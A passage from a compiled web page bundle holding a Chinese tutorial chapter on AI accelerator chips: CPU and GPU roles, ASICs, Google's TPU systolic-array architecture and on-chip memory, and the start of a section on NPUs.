Unit\uff0c\u4e2d\u6587\u540d\u4e3a\u4e2d\u592e\u5904\u7406\u5668\uff0c\u662f\u6211\u4eec\u7535\u8111\u4e2d\u7684\u6838\u5fc3\u914d\u4ef6\u3002\u5b83\u7684\u529f\u80fd\u4e3b\u8981\u662f\u5904\u7406\u6307\u4ee4\u3001\u6267\u884c\u64cd\u4f5c\u3001\u63a7\u5236\u65f6\u95f4\u3001\u5904\u7406\u6570\u636e\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u73b0\u4ee3\u8ba1\u7b97\u673a\u4f53\u7cfb\u7ed3\u6784\u4e2d\uff0cCPU \u5bf9\u8ba1\u7b97\u673a\u7684\u6240\u6709\u786c\u4ef6\u8d44\u6e90\uff08\u5982\u5b58\u50a8\u5668\u3001\u8f93\u5165\u8f93\u51fa\u5355\u5143\uff09 \u8fdb\u884c\u63a7\u5236\u8c03\u914d\u3001\u6267\u884c\u901a\u7528\u8fd0\u7b97\u7684\u6838\u5fc3\u786c\u4ef6\u5355\u5143\u3002CPU \u662f\u8ba1\u7b97\u673a\u7684\u8fd0\u7b97\u548c\u63a7\u5236\u6838\u5fc3\u3002\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e2d\u6240\u6709\u8f6f\u4ef6\u5c42\u7684\u64cd\u4f5c\uff0c\u6700\u7ec8\u90fd\u5c06\u901a\u8fc7\u6307\u4ee4\u96c6\u6620\u5c04\u4e3aCPU\u7684\u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"GPU\u5373Graphics Processing Unit\uff0c\u4e2d\u6587\u540d\u4e3a\u56fe\u5f62\u5904\u7406\u5355\u5143\u3002\u5728\u4f20\u7edf\u7684\u51af\xb7\u8bfa\u4f9d\u66fc\u7ed3\u6784\u4e2d\uff0cCPU \u6bcf\u6267\u884c\u4e00\u6761\u6307\u4ee4\u90fd\u9700\u8981\u4ece\u5b58\u50a8\u5668\u4e2d\u8bfb\u53d6\u6570\u636e\uff0c\u6839\u636e\u6307\u4ee4\u5bf9\u6570\u636e\u8fdb\u884c\u76f8\u5e94\u7684\u64cd\u4f5c\u3002\u4ece\u8fd9\u4e2a\u7279\u70b9\u53ef\u4ee5\u770b\u51fa\uff0cCPU \u7684\u4e3b\u8981\u804c\u8d23\u5e76\u4e0d\u53ea\u662f\u6570\u636e\u8fd0\u7b97\uff0c\u8fd8\u9700\u8981\u6267\u884c\u5b58\u50a8\u8bfb\u53d6\u3001\u6307\u4ee4\u5206\u6790\u3001\u5206\u652f\u8df3\u8f6c\u7b49\u547d\u4ee4\u3002\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u901a\u5e38\u9700\u8981\u8fdb\u884c\u6d77\u91cf\u7684\u6570\u636e\u5904\u7406\uff0c\u7528 CPU \u6267\u884c\u7b97\u6cd5\u65f6\uff0cCPU \u5c06\u82b1\u8d39\u5927\u91cf\u7684\u65f6\u95f4\u5728\u6570\u636e/\u6307\u4ee4\u7684\u8bfb\u53d6\u5206\u6790\u4e0a\uff0c\u800c CPU\u7684\u9891\u7387\u3001\u5185\u5b58\u7684\u5e26\u5bbd\u7b49\u6761\u4ef6\u53c8\u4e0d\u53ef\u80fd\u65e0\u9650\u5236\u63d0\u9ad8\uff0c\u56e0\u6b64\u9650\u5236\u4e86\u5904\u7406\u5668\u7684\u6027\u80fd\u3002\u800c GPU \u7684\u63a7\u5236\u76f8\u5bf9\u7b80\u5355\uff0c\u5927\u90e8\u5206\u7684\u6676\u4f53\u7ba1\u53ef\u4ee5\u7ec4\u6210\u5404\u7c7b\u4e13\u7528\u7535\u8def\u3001\u591a\u6761\u6d41\u6c34\u7ebf\uff0c\u4f7f\u5f97 GPU \u7684\u8ba1\u7b97\u901f\u5ea6\u8fdc\u9ad8\u4e8eCPU\uff1b\u540c\u65f6 GPU \u62e5\u6709\u4e86\u66f4\u52a0\u5f3a\u5927\u7684\u6d6e\u70b9\u8fd0\u7b97\u80fd\u529b\uff0c\u53ef\u4ee5\u7f13\u89e3\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u7684\u8bad\u7ec3\u96be\u9898\uff0c\u91ca\u653e\u4eba\u5de5\u667a\u80fd\u7684\u6f5c\u80fd\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cGPU\u6ca1\u6709\u72ec\u7acb\u5de5\u4f5c\u7684\u80fd\u529b\uff0c\u5fc5\u987b\u7531CPU\u8fdb\u884c\u63a7\u5236\u8c03\u7528\u624d\u80fd\u5de5\u4f5c\uff0c\u4e14GPU\u7684\u529f\u8017\u4e00\u822c\u6bd4\u8f83\u9ad8\u3002\u56e0\u6b64\uff0c\u968f\u7740\u4eba\u5de5\u667a\u80fd\u7684\u4e0d\u65ad\u53d1\u5c55\uff0c\u9ad8\u529f\u8017\u4f4e\u6548\u7387\u7684GPU\u4e0d\u518d\u80fd\u6ee1\u8db3AI\u8bad\u7ec3\u7684\u8981\u6c42\uff0c\u4e3a\u6b64\uff0c\u4e00\u5927\u6279\u529f\u80fd\u76f8\u5bf9\u5355\u4e00\uff0c\u4f46\u901f\u5ea6\u66f4\u5feb\u7684\u4e13\u7528\u96c6\u6210\u7535\u8def\u76f8\u7ee7\u95ee\u4e16\u3002\u63a5\u4e0b\u6765\u6211\u4eec\u4e86\u89e3\u4e00\u4e0b\u4ec0\u4e48\u662f\u4e13\u7528\u96c6\u6210\u7535\u8def\uff1a"}),"\n",(0,r.jsx)(e.p,{children:"\u4e13\u7528\u96c6\u6210\u7535\u8def\uff08Application-Specific Integrated Circuit\uff0cASIC\uff09\u662f\u4e13\u7528\u5b9a\u5236\u82af\u7247\uff0c\u5373\u4e3a\u5b9e\u73b0\u7279\u5b9a\u8981\u6c42\u800c\u5b9a\u5236\u7684\u82af\u7247\u3002\u5b9a\u5236\u7684\u7279\u6027\u6709\u52a9\u4e8e\u63d0\u9ad8 ASIC \u7684\u6027\u80fd\u529f\u8017\u6bd4\u3002ASIC\u7684\u7f3a\u70b9\u662f\u7535\u8def\u8bbe\u8ba1\u9700\u8981\u5b9a\u5236\uff0c\u76f8\u5bf9\u5f00\u53d1\u5468\u671f\u957f\uff0c\u529f\u80fd\u96be\u4ee5\u6269\u5c55\u3002\u4f46\u5728\u529f\u8017\u3001\u53ef\u9760\u6027\u3001\u96c6\u6210\u5ea6\u7b49\u65b9\u9762\u90fd\u6709\u4f18\u52bf\uff0c\u5c24\u5176\u5728\u8981\u6c42\u9ad8\u6027\u80fd\u3001\u4f4e\u529f\u8017\u7684\u79fb\u52a8\u5e94\u7528\u7aef\u4f53\u73b0\u660e\u663e\u3002\u4e0b\u6587\u63d0\u5230\u7684\u8c37\u6b4c\u7684TPU\uff0c\u5bd2\u6b66\u7eaa\u7684NPU\u90fd\u5c5e\u4e8eASIC\u7684\u8303\u7574\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u8ba9\u6211\u4eec\u8fdb\u5165\u672c\u8282\u7684\u5185\u5bb9\uff0c\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u4ec0\u4e48\u662fTPU"}),"\n",(0,r.jsx)(e.li,{children:"\u4ec0\u4e48\u662fNPU"}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"241-tpu",children:"2.4.1 TPU"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u5373Tensor Processing Unit\uff0c\u4e2d\u6587\u540d\u4e3a\u5f20\u91cf\u5904\u7406\u5668\u30022006\u5e74\uff0c\u8c37\u6b4c\u5f00\u59cb\u8ba1\u5212\u4e3a\u795e\u7ecf\u7f51\u7edc\u6784\u5efa\u4e00\u4e2a\u4e13\u7528\u7684\u96c6\u6210\u7535\u8def\uff08ASIC\uff09\u3002\u968f\u7740\u8ba1\u7b97\u9700\u6c42\u548c\u6570\u636e\u91cf\u7684\u4e0d\u65ad\u4e0a\u6da8\uff0c\u8fd9\u4e2a\u9700\u6c42\u57282013\u5e74\u5f00\u59cb\u53d8\u5f97\u5c24\u4e3a\u7d27\u8feb\u3002\u4e8e\u662f\uff0c\u8c37\u6b4c\u57282015\u5e746\u6708\u7684IO\u5f00\u53d1\u8005\u5927\u4f1a\u4e0a\u63a8\u51fa\u4e86\u4e3a\u4f18\u5316\u81ea\u8eab\u7684TensorFlow\u6846\u67b6\u800c\u8bbe\u8ba1\u6253\u9020\u7684\u4e00\u6b3e\u8ba1\u7b97\u795e\u7ecf\u7f51\u7edc\u4e13\u7528\u82af\u7247\u3002\u5b83\u4e3b\u8981\u7528\u4e8e\u8fdb\u884c\u641c\u7d22\uff0c\u56fe\u50cf\uff0c\u8bed\u97f3\u7b49\u6a21\u578b\u548c\u6280\u672f\u7684\u5904\u7406\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u622a\u81f3\u76ee\u524d\uff0c\u8c37\u6b4c\u5df2\u7ecf\u53d1\u884c\u4e86\u56db\u4ee3TPU\u82af\u7247\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"\u82af\u7247\u67b6\u6784\u8bbe\u8ba1",children:"\u82af\u7247\u67b6\u6784\u8bbe\u8ba1"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u7684\u8bbe\u8ba1\u67b6\u6784\u5982\u4e0b\u56fe"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(34274).A+"",width:"848",height:"616"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aIn-datacenter performance analysis of a tensor processing unit\uff0cfigure 1"}),"\n",(0,r.jsx)(e.p,{children:"\u7531\u4e0a\u56fe\u53ef\u89c1\uff0c\u6574\u4e2aTPU\u4e2d\u6700\u91cd\u8981\u7684\u8ba1\u7b97\u5355\u5143\u662f\u53f3\u4e0a\u89d2\u9ec4\u8272\u7684\u77e9\u9635\u4e58\u5355\u5143\u201cMatrix Multiply Unit\u201d\uff0c\u5b83\u5305\u542b256x256\u4e2aMAC\u90e8\u4ef6\uff0c\u6bcf\u4e00\u4e2a\u80fd\u591f\u6267\u884c\u6709\u7b26\u53f7\u6216\u8005\u65e0\u7b26\u53f7\u76848\u4f4d\u4e58\u52a0\u64cd\u4f5c\u3002\u5b83\u7684\u8f93\u5165\u4e3a\u6743\u91cd\u6570\u636e\u961f\u5217FIFO\u548c\u7edf\u4e00\u7f13\u51b2Unified Buffer\uff0c\u5373\u56fe\u4e2d\u6307\u5411\u5b83\u7684\u4e24\u4e2a\u84dd\u8272\u90e8\u5206\u3002\u5728\u8ba1\u7b97\u7ed3\u675f\u540e\uff0c16\u4f4d\u7ed3\u679c\u88ab\u6536\u96c6\u5e76\u4f20\u9012\u5230\u4f4d\u4e8e\u77e9\u9635\u5355\u5143\u4e0b\u65b9\u76844MiB 32\u4f4d\u84dd\u8272\u7d2f\u52a0\u5668Accumulators\u4e2d\uff0c\u4e4b\u540e\u7531\u9ec4\u8272\u7684\u6fc0\u6d3b\u5355\u5143\u5728\u7d2f\u52a0\u540e\u6267\u884c\u975e\u7ebf\u6027\u51fd\u6570\uff0c\u5e76\u6700\u7ec8\u5c06\u6570\u636e\u8fd4\u56de\u7ed9\u7edf\u4e00\u7f13\u51b2\u3002"}),"\n",(0,r.jsx)(e.p,{children:"Matrix Multiply Unit\u77e9\u9635\u5904\u7406\u5668\u4f5c\u4e3aTPU\u7684\u6838\u5fc3\u90e8\u5206\uff0c\u5b83\u53ef\u4ee5\u5728\u5355\u4e2a\u65f6\u949f\u5468\u671f\u5185\u5904\u7406\u6570\u5341\u4e07\u6b21\u77e9\u9635\uff08Matrix\uff09\u8fd0\u7b97\u3002MMU\u6709\u7740\u4e0e\u4f20\u7edfCPU\u3001GPU\u622a\u7136\u4e0d\u540c\u7684\u67b6\u6784\uff0c\u79f0\u4e3a\u8109\u52a8\u9635\u5217\uff08systolic array\uff09\u3002\u4e4b\u6240\u4ee5\u53eb\u201c\u8109\u52a8\u201d\uff0c\u662f\u56e0\u4e3a\u5728\u8fd9\u79cd\u7ed3\u6784\u4e2d\uff0c\u6570\u636e\u4e00\u6ce2\u4e00\u6ce2\u5730\u6d41\u8fc7\u82af\u7247\uff0c\u4e0e\u5fc3\u810f\u8df3\u52a8\u4f9b\u8840\u7684\u65b9\u5f0f\u7c7b\u4f3c\u3002\u800c\u5982\u4e0b\u56fe\u6240\u793a\uff0cCPU\u548cGPU\u5728\u6bcf\u6b21\u8fd0\u7b97\u4e2d\u90fd\u9700\u8981\u4ece\u591a\u4e2a\u5bc4\u5b58\u5668\uff08register\uff09\u4e2d\u8fdb\u884c\u5b58\u53d6\uff0c\u800cTPU\u7684\u8109\u52a8\u9635\u5217\u5c06\u591a\u4e2a\u8fd0\u7b97\u903b\u8f91\u5355\u5143\uff08ALU\uff09\u4e32\u8054\u5728\u4e00\u8d77\uff0c\u590d\u7528\u4ece\u4e00\u4e2a\u5bc4\u5b58\u5668\u4e2d\u8bfb\u53d6\u7684\u7ed3\u679c\u3002\u6bcf\u4e2aALU\u5355\u5143\u7ed3\u6784\u7b80\u5355\uff0c\u4e00\u822c\u53ea\u5305\u542b\u4e58\u6cd5\u5668\u3001\u52a0\u6cd5\u5668\u4ee5\u53ca\u5bc4\u5b58\u5668\u4e09\u90e8\u5206\uff0c\u9002\u5408\u5927\u91cf\u5806\u780c\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(840).A+"",width:"500",height:"412"})}),"\n",(0,r.jsx)(e.p,{children:"\u4f46\u662f\uff0c\u5728\u6781\u5927\u589e\u52a0\u6570\u636e\u590d\u7528\u3001\u964d\u4f4e\u5185\u5b58\u5e26\u5bbd\u538b\u529b\u7684\u540c\u65f6\uff0c\u8109\u52a8\u9635\u5217\u4e5f\u6709\u4e24\u4e2a\u7f3a\u70b9\uff0c\u5373\u6570\u636e\u91cd\u6392\u548c\u89c4\u6a21\u9002\u914d\u3002\u7b2c\u4e00\uff0c\u8109\u52a8\u77e9\u9635\u4e3b\u8981\u5b9e\u73b0\u5411\u91cf/\u77e9\u9635\u4e58\u6cd5\u3002\u4ee5CNN\u8ba1\u7b97\u4e3a\u4f8b\uff0cCNN\u6570\u636e\u8fdb\u5165\u8109\u52a8\u9635\u5217\u9700\u8981\u8c03\u6574\u597d\u5f62\u5f0f\uff0c\u5e76\u4e14\u4e25\u683c\u9075\u5faa\u65f6\u949f\u8282\u62cd\u548c\u7a7a\u95f4\u987a\u5e8f\u8f93\u5165\u3002\u6570\u636e\u91cd\u6392\u7684\u989d\u5916\u64cd\u4f5c\u589e\u52a0\u4e86\u590d\u6742\u6027\u3002\u7b2c\u4e8c\uff0c\u5728\u6570\u636e\u6d41\u7ecf\u6574\u4e2a\u9635\u5217\u540e\uff0c\u624d\u80fd\u8f93\u51fa\u7ed3\u679c\u3002\u5f53\u8ba1\u7b97\u7684\u5411\u91cf\u4e2d\u5143\u7d20\u8fc7\u5c11\uff0c\u8109\u52a8\u9635\u5217\u89c4\u6a21\u8fc7\u5927\u65f6\uff0c\u4e0d\u4ec5\u96be\u4ee5\u5c06\u9635\u5217\u4e2d\u7684\u6bcf\u4e2a\u5355\u5143\u90fd\u5229\u7528\u8d77\u6765\uff0c\u6570\u636e\u7684\u5bfc\u5165\u548c\u5bfc\u51fa\u5ef6\u65f6\u4e5f\u968f\u7740\u5c3a\u5bf8\u6269\u5927\u800c\u589e\u52a0\uff0c\u964d\u4f4e\u4e86\u8ba1\u7b97\u6548\u7387\u3002\u56e0\u6b64\u5728\u786e\u5b9a\u8109\u52a8\u9635\u5217\u7684\u89c4\u6a21\u65f6\uff0c\u5728\u8003\u8651\u9762\u79ef\u3001\u80fd\u8017\u3001\u5cf0\u503c\u8ba1\u7b97\u80fd\u529b\u7684\u540c\u65f6\uff0c\u8fd8\u8981\u8003\u8651\u5178\u578b\u5e94\u7528\u4e0b\u7684\u6548\u7387\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"\u6280\u672f\u7279\u70b9",children:"\u6280\u672f\u7279\u70b9"}),"\n",(0,r.jsx)(e.h4,{id:"ai\u52a0\u901f\u4e13\u7528",children:"AI\u52a0\u901f\u4e13\u7528"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u7684\u67b6\u6784\u5c5e\u4e8eDomain-specific Architecture\uff0c\u4e5f\u5c31\u662f\u7279\u5b9a\u9886\u57df\u67b6\u6784\u3002\u5b83\u7684\u5b9a\u4f4d\u51c6\u786e\uff0c\u67b6\u6784\u7b80\u5355\uff0c\u5355\u7ebf\u7a0b\u63a7\u5236\uff0c\u5b9a\u5236\u6307\u4ee4\u96c6\u4f7f\u5f97\u5b83\u5728\u6df1\u5ea6\u5b66\u4e60\u8fd0\u7b97\u65b9\u9762\u6548\u7387\u6781\u9ad8\uff0c\u4e14\u5bb9\u6613\u6269\u5c55\u3002\u76f8\u6bd4\u4e4b\u4e0b\uff0c\u4f20\u7edf\u8bf8\u5982CPU\u3001GPU\u7b49\u901a\u7528\u5904\u7406\u5668\u5fc5\u987b\u8003\u8651\u7075\u6d3b\u6027\u548c\u517c\u5bb9\u6027\uff0c\u6709\u592a\u91cd\u7684\u5305\u88b1\u3002\u4f46TPU\u8fd9\u79cd\u7279\u70b9\u4e5f\u51b3\u5b9a\u5b83\u53ea\u80fd\u88ab\u9650\u5236\u7528\u4e8e\u6df1\u5ea6\u5b66\u4e60\u52a0\u901f\u573a\u666f\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"\u8109\u52a8\u9635\u5217\u8bbe\u8ba1",children:"\u8109\u52a8\u9635\u5217\u8bbe\u8ba1"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u91c7\u7528\u4e86\u4e0e\u4f20\u7edfCPU\u548cGPU\u622a\u7136\u4e0d\u540c\u7684\u8109\u52a8\u9635\u5217\uff08systolic array\uff09\u7ed3\u6784\u6765\u52a0\u901fAI\u8fd0\u7b97\uff0c\u8109\u52a8\u9635\u5217\u80fd\u591f\u5728\u4e00\u4e2a\u65f6\u949f\u5468\u671f\u5185\u5904\u7406\u6570\u5341\u4e07\u6b21\u77e9\u9635\u8fd0\u7b97\uff0c\u5728\u6bcf\u6b21\u8fd0\u7b97\u8fc7\u7a0b\u4e2d\uff0cTPU\u80fd\u591f\u5c06\u591a\u4e2a\u8fd0\u7b97\u903b\u8f91\u5355\u5143\uff08ALU\uff09\u4e32\u8054\u5728\u4e00\u8d77\uff0c\u5e76\u590d\u7528\u4ece\u4e00\u4e2a\u5bc4\u5b58\u5668\u4e2d\u53d6\u5f97\u7684\u7ed3\u679c\u3002\u8fd9\u79cd\u8bbe\u8ba1\uff0c\u4e0d\u4ec5\u80fd\u591f\u5c06\u6570\u636e\u590d\u7528\u5b9e\u73b0\u6700\u5927\u5316\uff0c\u51cf\u5c11\u82af\u7247\u5728\u8fd0\u7b97\u8fc7\u7a0b\u4e2d\u7684\u5185\u5b58\u8bbf\u95ee\u6b21\u6570\uff0c\u63d0\u9ad8AI\u8ba1\u7b97\u6548\u7387\uff0c\u540c\u65f6\u4e5f\u964d\u4f4e\u4e86\u5185\u5b58\u5e26\u5bbd\u538b\u529b\uff0c\u8fdb\u800c\u964d\u4f4e\u5185\u5b58\u8bbf\u95ee\u7684\u80fd\u8017\u3002"}),"\n",(0,r.jsx)(e.p,{children:"MMU\u7684\u8109\u52a8\u9635\u5217\u5305\u542b256 \xd7 256 = 65,536\u4e2aALU\uff0c\u4e5f\u5c31\u662f\u8bf4TPU\u6bcf\u4e2a\u5468\u671f\u53ef\u4ee5\u5904\u740665,536\u6b218\u4f4d\u6574\u6570\u7684\u4e58\u6cd5\u548c\u52a0\u6cd5\u3002"}),"\n",(0,r.jsx)(e.p,{children:"TPU\u4ee5700\u5146\u8d6b\u5179\u7684\u529f\u7387\u8fd0\u884c\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5b83\u6bcf\u79d2\u53ef\u4ee5\u8fd0\u884c65,536 \xd7 700,000,000 = 46 \xd7 1012\u6b21\u4e58\u6cd5\u548c\u52a0\u6cd5\u8fd0\u7b97\uff0c\u6216\u6bcf\u79d292\u4e07\u4ebf\uff0892 \xd7 1012\uff09\u6b21\u77e9\u9635\u5355\u5143\u4e2d\u7684\u8fd0\u7b97\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(38488).A+"",width:"1172",height:"813"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aIn-datacenter performance analysis of a tensor processing unit\uff0cfigure 4"}),"\n",(0,r.jsx)(e.h4,{id:"\u786e\u5b9a\u6027\u529f\u80fd\u548c\u5927\u89c4\u6a21\u7247\u4e0a\u5185\u5b58",children:"\u786e\u5b9a\u6027\u529f\u80fd\u548c\u5927\u89c4\u6a21\u7247\u4e0a\u5185\u5b58"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u56fe\u662fTPU\u7684\u5e73\u9762\u8bbe\u8ba1\u7b80\u56fe\uff0c\u9ec4\u8272\u4e3aMMU\u8fd0\u7b97\u5355\u5143\uff0c\u84dd\u8272\u662f\u7edf\u4e00\u7f13\u5b58\u548c\u7d2f\u52a0\u5668\u7b49\u6570\u636e\u5355\u5143\uff0c\u7eff\u8272\u662fI/O\uff0c\u7ea2\u8272\u662f\u903b\u8f91\u63a7\u5236\u5355\u5143\u3002"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:i(76204).A+"",width:"1146",height:"922"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u56fe\uff1aIn-datacenter performance analysis of a tensor processing unit\uff0cfigure 2"}),"\n",(0,r.jsx)(e.p,{children:"\u4f20\u7edfGPU\u7531\u4e8e\u7247\u4e0a\u5185\u5b58\u8f83\u5c11\uff0c\u56e0\u6b64\u5728\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u9700\u8981\u4e0d\u65ad\u5730\u53bb\u8bbf\u95ee\u7247\u5916\u52a8\u6001\u968f\u673a\u5b58\u53d6\u5b58\u50a8\u5668\uff08DRAM\uff09\uff0c\u4ece\u800c\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u6d6a\u8d39\u4e86\u4e0d\u5fc5\u8981\u7684\u80fd\u8017\u3002\u4e0eCPU\u548cGPU\u76f8\u6bd4\uff0cTPU\u7684\u63a7\u5236\u5355\u5143\u66f4\u5c0f\uff0c\u66f4\u5bb9\u6613\u8bbe\u8ba1\uff0c\u9762\u79ef\u53ea\u5360\u4e86\u6574\u4e2a\u51b2\u6a21\u76842%\uff0c\u7ed9\u7247\u4e0a\u5b58\u50a8\u5668\u548c\u8fd0\u7b97\u5355\u5143\u7559\u4e0b\u4e86\u66f4\u5927\u7684\u7a7a\u95f4\u3002\u5982\u4e0a\u56fe\u6240\u793a\u7684TPU\u4e00\u4ee3\u67b6\u6784\u4e2d\uff0c\u603b\u5171\u8bbe\u8ba1\u4e86\u5360\u603b\u82af\u7247\u9762\u79ef35%\u7684\u5185\u5b58\uff0c\u5176\u4e2d\u5305\u62ec24MB\u7684\u5c40\u90e8\u5185\u5b58\u30014MB\u7684\u7d2f\u52a0\u5668\u5185\u5b58\uff0c\u4ee5\u53ca\u7528\u4e8e\u4e0e\u4e3b\u63a7\u5904\u7406\u5668\u5bf9\u63a5\u7684\u5185\u5b58\u3002\u8fd9\u4e00\u6bd4\u4f8b\u5927\u5927\u8d85\u51fa\u4e86GPU\u7b49\u901a\u7528\u5904\u7406\u5668\uff0c\u8282\u7ea6\u4e86\u5927\u91cf\u7247\u5916\u6570\u636e\u8bbf\u5b58\u80fd\u8017\uff0c\u4f7f\u5f97TPU\u8ba1\u7b97\u7684\u80fd\u6548\u6bd4\u5927\u5927\u63d0\u9ad8\u3002\u4eceTPU\u4e8c\u4ee3\u5f00\u59cb\u91c7\u7528HBM\u7247\u4e0a\u9ad8\u5e26\u5bbd\u5185\u5b58\uff0c\u867d\u7136\u548c\u6700\u65b0\u4e00\u4ee3GPU\u7247\u4e0a\u5185\u5b58\u6280\u672f\u76f8\u540c\uff0c\u4f46\u662fTPU\u82af\u7247\u7684\u9762\u79ef\u8981\u8fdc\u8fdc\u5c0f\u4e8eGPU\u3002\u7845\u7247\u8d8a\u5c0f\uff0c\u6210\u672c\u8d8a\u4f4e\uff0c\u826f\u54c1\u7387\u4e5f\u8d8a\u9ad8\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u53e6\u5916\uff0c\u7531\u4e8eTPU\u662f\u4e00\u4e2a\u5355\u7528\u9014\u82af\u7247\uff0c\u4e0d\u9700\u8981\u8003\u8651\u7f13\u5b58\u3001\u5206\u652f\u9884\u6d4b\u3001\u591a\u9053\u5904\u7406\u7b49\u95ee\u9898\u3002\u8fd9\u5c31\u610f\u5473\u7740TPU\u7684\u529f\u80fd\u662f\u5355\u4e00\u4e14\u786e\u5b9a\u7684\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528TPU\u8f7b\u6613\u7684\u9884\u6d4b\u8fd0\u884c\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u9700\u8981\u591a\u957f\u65f6\u95f4\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u80fd\u8ba9\u82af\u7247\u4ee5\u541e\u5410\u91cf\u63a5\u8fd1\u5cf0\u503c\u7684\u72b6\u6001\u8fd0\u884c\uff0c\u540c\u65f6\u4e25\u683c\u63a7\u5236\u5ef6\u8fdf\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"242-npu",children:"2.4.2 NPU"}),"\n",(0,r.jsx)(e.p,{children:"NPU\u5373Neural-network Processing Unit\uff0c\u4e2d\u6587\u540d\u4e3a\u795e\u7ecf\u7f51\u7edc\u5904\u7406\u5668\uff0c\u5b83\u91c7\u7528\u201c\u6570\u636e\u9a71\u52a8\u5e76\u884c\u8ba1\u7b97\u201d\u7684\u67b6\u6784\uff0c\u7279\u522b\u64c5\u957f\u5904\u7406\u89c6\u9891\u3001\u56fe\u50cf\u7c7b\u7684\u6d77\u91cf\u591a\u5a92\u4f53\u6570\u636e\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u957f\u671f\u4ee5\u6765\uff0c\u5e94\u7528\u9700\u6c42\u4e00\u76f4\u7275\u52a8\u7740\u5d4c\u5165\u5f0f\u6280\u672f\u7684\u53d1\u5c55\u65b9\u5411\u3002\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u795e\u7ecf\u7f51\u7edc\u7684\u5174\u8d77\uff0c\u4eba\u5de5\u667a\u80fd\u3001\u5927\u6570\u636e\u65f6\u4ee3\u7684\u6765\u4e34\uff0cCPU\u548cGPU\u6e10\u6e10\u96be\u4ee5\u6ee1\u8db3\u6df1\u5ea6\u5b66\u4e60\u7684\u9700\u8981\uff0c\u9762\u5bf9\u65e5\u6e10\u65fa\u76db\u7684\u9700\u6c42\u548c\u5e7f\u5927\u7684\u9884\u671f\u5e02\u573a\uff0c\u8bbe\u8ba1\u4e00\u6b3e\u4e13\u95e8\u7528\u4e8e\u795e\u7ecf\u7f51\u7edc\u6df1\u5ea6\u5b66\u4e60\u7684\u9ad8\u6548\u667a\u80fd\u5904\u7406\u5668\u663e\u5f97\u5341\u5206\u5fc5\u8981\uff0c\u56e0\u6b64NPU\u5e94\u8fd0\u800c\u751f\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u6280\u672f\u89d2\u5ea6\u770b\uff0c\u6df1\u5ea6\u5b66\u4e60\u5b9e\u9645\u4e0a\u662f\u4e00\u7c7b\u591a\u5c42\u5927\u89c4\u6a21\u4eba\u5de5\u795e\u7ecf\u7f51\u7edc\u3002\u5b83\u6a21\u4eff\u751f\u7269\u795e\u7ecf\u7f51\u7edc\u800c\u6784\u5efa\uff0c\u7531\u82e5\u5e72\u4eba\u5de5\u795e\u7ecf\u5143\u7ed3\u70b9\u4e92\u8054\u800c\u6210\u3002\u795e\u7ecf\u5143\u4e4b\u95f4\u901a\u8fc7\u7a81\u89e6\u4e24\u4e24\u8fde\u63a5\uff0c\u7a81\u89e6\u8bb0\u5f55\u4e86\u795e\u7ecf\u5143\u95f4\u8054\u7cfb\u7684\u6743\u503c\u5f3a\u5f31\u3002\u7531\u4e8e\u6df1\u5ea6\u5b66\u4e60\u7684\u57fa\u672c\u64cd\u4f5c\u662f\u795e\u7ecf\u5143\u548c\u7a81\u89e6\u7684\u5904\u7406\uff0c\u795e\u7ecf\u7f51\u7edc\u4e2d\u5b58\u50a8\u548c\u5904\u7406\u662f\u4e00\u4f53\u5316\u7684\uff0c\u90fd\u662f\u901a\u8fc7\u7a81\u89e6\u6743\u91cd\u6765\u4f53\u73b0\uff0c\u800c\u51af\xb7\u8bfa\u4f0a\u66fc\u7ed3\u6784\u4e2d\uff0c\u5b58\u50a8\u548c\u5904\u7406\u662f\u5206\u79bb\u7684\uff0c\u5206\u522b\u7531\u5b58\u50a8\u5668\u548c\u8fd0\u7b97\u5668\u6765\u5b9e\u73b0\uff0c\u4e8c\u8005\u4e4b\u95f4\u5b58\u5728\u5de8\u5927\u7684\u5dee\u5f02\u3002\u5f53\u7528\u73b0\u6709\u7684\u57fa\u4e8e\u51af\xb7\u8bfa\u4f0a\u66fc\u7ed3\u6784\u7684\u7ecf\u5178\u8ba1\u7b97\u673a(\u5982X86\u5904\u7406\u5668\u548c\u82f1\u4f1f\u8fbeGPU)\u8fd0\u884c\u795e\u7ecf\u7f51\u7edc\u5e94\u7528\u65f6\uff0c\u5c31\u4e0d\u53ef\u907f\u514d\u5730\u53d7\u5230\u5